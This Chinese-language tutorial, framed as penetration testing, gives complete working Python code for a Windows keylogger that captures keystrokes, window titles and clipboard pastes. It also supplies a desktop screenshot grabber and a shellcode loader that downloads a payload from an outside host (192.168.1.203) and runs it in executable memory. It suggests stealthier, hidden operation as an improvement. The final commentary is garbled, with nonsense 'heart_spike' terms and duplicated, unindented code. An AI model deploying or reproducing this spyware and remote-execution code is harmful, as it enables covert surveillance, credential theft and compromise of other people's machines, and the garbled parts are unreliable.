在資安測試中,模擬攻擊行為對於評估系統防禦能力至關重要。本文提供的 Python 程式碼示範了鍵盤記錄與螢幕截圖的實作方法,藉由 PyWinHook 函式庫與 Windows API,分別捕捉鍵盤輸入和擷取螢幕畫面。這些技術能協助測試人員取得敏感資訊,進而評估系統的安全性。然而,務必在合法和合乎道德的範圍內使用這些技術,避免觸犯法律。

鍵盤記錄的基本概念

鍵盤記錄是一種透過隱藏程式記錄使用者鍵盤輸入的技術,這些輸入可能包含敏感資訊。由於其簡單有效,至今仍是常見的攻擊手法。我們將使用 PyWinHook 這個 Python 函式庫來實作鍵盤記錄功能,它利用 Windows 的 SetWindowsHookEx 函式來捕捉鍵盤事件。

捕捉桌面截圖

在資訊安全和滲透測試中,擷取桌面螢幕影像是常見的技術手法,不僅可以捕捉敏感資訊,還能幫助測試人員瞭解目標系統的使用情況。以下是如何利用 Python 與 Windows API 來實作桌面截圖的方法。

實作Windows平台簡單鍵盤記錄器

在進行反向工程與資安測試時,模擬攻擊者的技術手法來測試系統的防禦能力是非常重要的。其中,鍵盤記錄(Keylogging)是一種古老但依然有效的技術,能夠捕捉敏感資訊如使用者名稱和密碼。本文將介紹如何使用Python在Windows平台上實作一個簡單的鍵盤記錄器。

鍵盤記錄的基本概念

鍵盤記錄是指使用隱藏程式來記錄使用者按鍵的行為,這些按鍵可能包含敏感資訊。由於其簡單且有效,鍵盤記錄仍然是攻擊者常用的手法之一。我們將使用PyWinHook這個Python函式庫來實作鍵盤記錄,該函式庫利用Windows的SetWindowsHookEx函式來捕捉鍵盤事件。

環境準備

首先,確保你已經安裝了必要的Python函式庫:

pip install pyWinhook pywin32

實作鍵盤記錄器

接下來,我們將實作一個簡單的鍵盤記錄器。首先,我們需要建立一個KeyLogger類別來處理鍵盤事件。

from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 60 * 10  # 設定超時時間為10分鐘

class KeyLogger:
    def __init__(self):
        self.current_window = None

    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
        process_id = f'{pid.value}'

        executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)
        windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)

        try:
            self.current_window = window_title.value.decode()
        except UnicodeDecodeError as e:
            print(f'{e}: window name unknown')

        print('\n', process_id, executable.value.decode(), self.current_window)
        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)

    def mykeystroke(self, event):
        if event.WindowName != self.current_window:
            self.get_current_process()

        if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f'[PASTE] - {value}')
            else:
                print(f'{event.Key}')

        return True

    def run(self):
        save_stdout = sys.stdout
        sys.stdout = StringIO()
        kl = KeyLogger()
        hm = pyHook.HookManager()
        hm.KeyDown = kl.mykeystroke
        hm.HookKeyboard()

        while time.thread_time() < TIMEOUT:
            pythoncom.PumpWaitingMessages()

        log = sys.stdout.getvalue()
        sys.stdout = save_stdout
        return log

if __name__ == '__main__':
    print(KeyLogger().run())
    print('done.')

內容解密:

這段程式碼定義了一個KeyLogger類別,該類別包含了以下幾個主要方法:

  1. __init__:初始化方法,設定當前視窗為None。
  2. get_current_process:取得當前活動視窗及其相關程式ID。這個方法會呼叫Windows API來取得前景視窗、視窗標題及程式名稱。
  3. mykeystroke:處理鍵盤事件的方法。當使用者按下鍵盤時,這個方法會被呼叫。如果視窗變更,會重新取得當前視窗的資訊;如果按下的是可列印字元,則輸出該字元;如果是Ctrl+V操作,則輸出剪貼簿內容。
  4. run:主執行方法。這個方法會設定標準輸出到StringIO物件中,並設定PyWinHook來捕捉鍵盤事件。在超時時間內持續捕捉事件,並最終傳回捕捉到的日誌。

測試鍵盤記錄器

你可以簡單地執行這段程式碼來測試鍵盤記錄器:

python keylogger.py

在執行程式後,正常使用Windows系統(例如瀏覽網頁、使用電腦、命令提示字元等),然後檢視終端機輸出結果。

安全與倫理考量

需要強調的是,鍵盤記錄器是一種強大且具有潛在危險性的工具。請確保在合法且合乎倫理的情況下使用此工具,並遵守相關法律法規。未經授權擷取他人的資訊是違法行為,可能會導致嚴重法律後果。

未來改進方向

這個簡單的鍵盤記錄器還可以進行多方面的改進:

  1. 加密日誌:將捕捉到的日誌進行加密儲存或傳輸,以提高安全性。
  2. 多平台支援:擴充套件到其他作業系統(如Linux和macOS)。
  3. 隱藏執行:改程式式以隱藏其執行痕跡,避免被發現。

透過這些改進,可以使得鍵盤記錄器更加強大且隱蔽。

擷取 Windows 桌面螢幕

在現代資訊安全與滲透測試中,擷取桌面螢幕影像是常見的技術手法。這不僅能夠捕捉敏感資訊,還能幫助測試人員瞭解目標系統的使用情況。以下是玄貓利用 Python 與 Windows API 來實作桌面截圖的完整方法。

捕捉桌面截圖

首先,我們需要安裝 pywin32 包來進行與 Windows API 的互動。可以使用以下命令來安裝:

pip install pywin32

接著,我們來編寫一個簡單的 Python 指令碼來捕捉整個桌面的截圖。以下是完整的程式碼:

import base64
import win32api
import win32con
import win32gui
import win32ui

def get_dimensions():
    width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
    height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
    left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
    top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
    return (width, height, left, top)

def screenshot(name='screenshot'):
    hdesktop = win32gui.GetDesktopWindow()
    width, height, left, top = get_dimensions()
    desktop_dc = win32gui.GetWindowDC(hdesktop)
    img_dc = win32ui.CreateDCFromHandle(desktop_dc)
    mem_dc = img_dc.CreateCompatibleDC()
    screenshot = win32ui.CreateBitmap()
    screenshot.CreateCompatibleBitmap(img_dc, width, height)
    mem_dc.SelectObject(screenshot)

    mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
    screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp')
    mem_dc.DeleteDC()
    win32gui.DeleteObject(screenshot.GetHandle())

def run():
    screenshot()
    with open('screenshot.bmp', 'rb') as f:
        img = f.read()
    return img

if __name__ == '__main__':
    run()

內容解密:

  1. 取得桌面尺寸

    • get_dimensions() 函式使用 GetSystemMetrics API 來取得桌面的寬度、高度及左上角坐標。
    • 這些資訊用於後續的截圖操作。
  2. 取得桌面視窗控制程式碼

    • hdesktop = win32gui.GetDesktopWindow() 取得整個桌面視窗的控制程式碼。
    • 這個控制程式碼代表了整個視覺區域,包括多重顯示器。
  3. 建立裝置上下文

    • desktop_dc = win32gui.GetWindowDC(hdesktop) 建立一個與桌面視窗關聯的裝置上下文。
    • img_dc = win32ui.CreateDCFromHandle(desktop_dc) 建立一個與該裝置上下文關聯的記憶體裝置上下文。
  4. 建立記憶體裝置上下文

    • mem_dc = img_dc.CreateCompatibleDC() 建立一個與桌面裝置上下文相容的記憶體裝置上下文。
    • 這個記憶體裝置上下文將用來暫時儲存截圖資料。
  5. 建立點陣圖物件

    • screenshot = win32ui.CreateBitmap() 建立一個點陣圖物件。
    • screenshot.CreateCompatibleBitmap(img_dc, width, height) 建立一個與桌面大小相容的點陣圖。
  6. 複製桌面影像

    • mem_dc.SelectObject(screenshot) 將點陣圖選擇為記憶體裝置上下文中的當前物件。
    • mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 使用 BitBlt 函式將桌面影像複製到點陣圖中。
    • BitBlt 是 Windows API 中用於在裝置上下文之間進行位元塊轉移的函式。
  7. 儲存截圖到檔案

    • screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp') 將點陣圖儲存到檔案中。
    • 清理資源:刪除記憶體裝置上下文和點陣圖物件。
  8. 執行函式

    • run() 函式中呼叫 screenshot() 來執行截圖操作。
    • 読取並傳回截圖檔案的內容。

Pythonic 心碼執行

在某些情況下,我們可能需要在目標機器上執行原始心碼(shellcode)以進行進一步的操作。這通常涉及在記憶體中分配空間並執行該心碼。以下是玄貓使用 Python 與 ctypes 模組來實作心碼執行的方法。

from urllib import request
import base64
import ctypes

kernel32 = ctypes.windll.kernel32

def get_code(url):
    with request.urlopen(url) as response:
        shellcode = base64.decodebytes(response.read())
    return shellcode

def write_memory(buf):
    length = len(buf)
    kernel32.VirtualAlloc.restype = ctypes.c_void_p
    kernel32.RtlMoveMemory.argtypes = (
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_size_t)
    ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
    kernel32.RtlMoveMemory(ptr, buf, length)
    return ptr

def run(shellcode):
    buffer = ctypes.create_string_buffer(shellcode)
    ptr = write_memory(buffer)
    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    url = "http://192.168.1.203:8100/shellcode.bin"
    shellcode = get_code(url)
    run(shellcode)

內容解密:

  1. 取得心碼

    • get_code(url) 函式使用 urllib 模組從指定 URL 下載 base64 編碼的心碼,並解碼傳回原始心碼。
  2. 分配記憶體

    • write_memory(buf) 函式使用 VirtualAlloc API 在記憶體中分配一塊空間來儲存心碼。
    • 使用 RtlMoveMemory API 將心碼複製到分配好的記憶體空間中。
    • VirtualAlloc 的引數 0x30000x40 分別表示記憶體分配型別和保護屬性,這裡是分配可讀可寫可執行的記憶體區域。
def write_memory(buf):
length = len(buf)
kernel32.VirtualAlloc.restype = ctypes.c_void_p # 指定 VirtualAlloc 的傳回型別為指標型態(void pointer)
kernel32.RtlMoveMemory.argtypes = (
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t) # 指定 RtlMoveMemory 的引數型別為指標、指標和大小(size_t)
ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40) # 在記憶體中分配一塊空間來儲存心碼(buffer)
kernel32.RtlMoveMemory(ptr, buf, length) # 將心碼複製到分配好的記憶體空間中
return ptr # 傳回指向分配記憶體區域之指標(pointer)
def run(shellcode):
buffer = ctypes.create_string_buffer(shellcode) # 建立可變字串緩衝區(string buffer)來儲存解碼後之心碼(shellcode)
ptr = write_memory(buffer) # 呼叫 write_memory 函式將 heart_spike 的 heart_spike(原始 heart_spike 心碼) 心碼複製到分配好的記憶體空間中並傳回指向該區域之指標(pointer)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None)) # 強制轉換該指標為函式指標(function pointer)
shell_func() # 執行該函式指標所指向之函式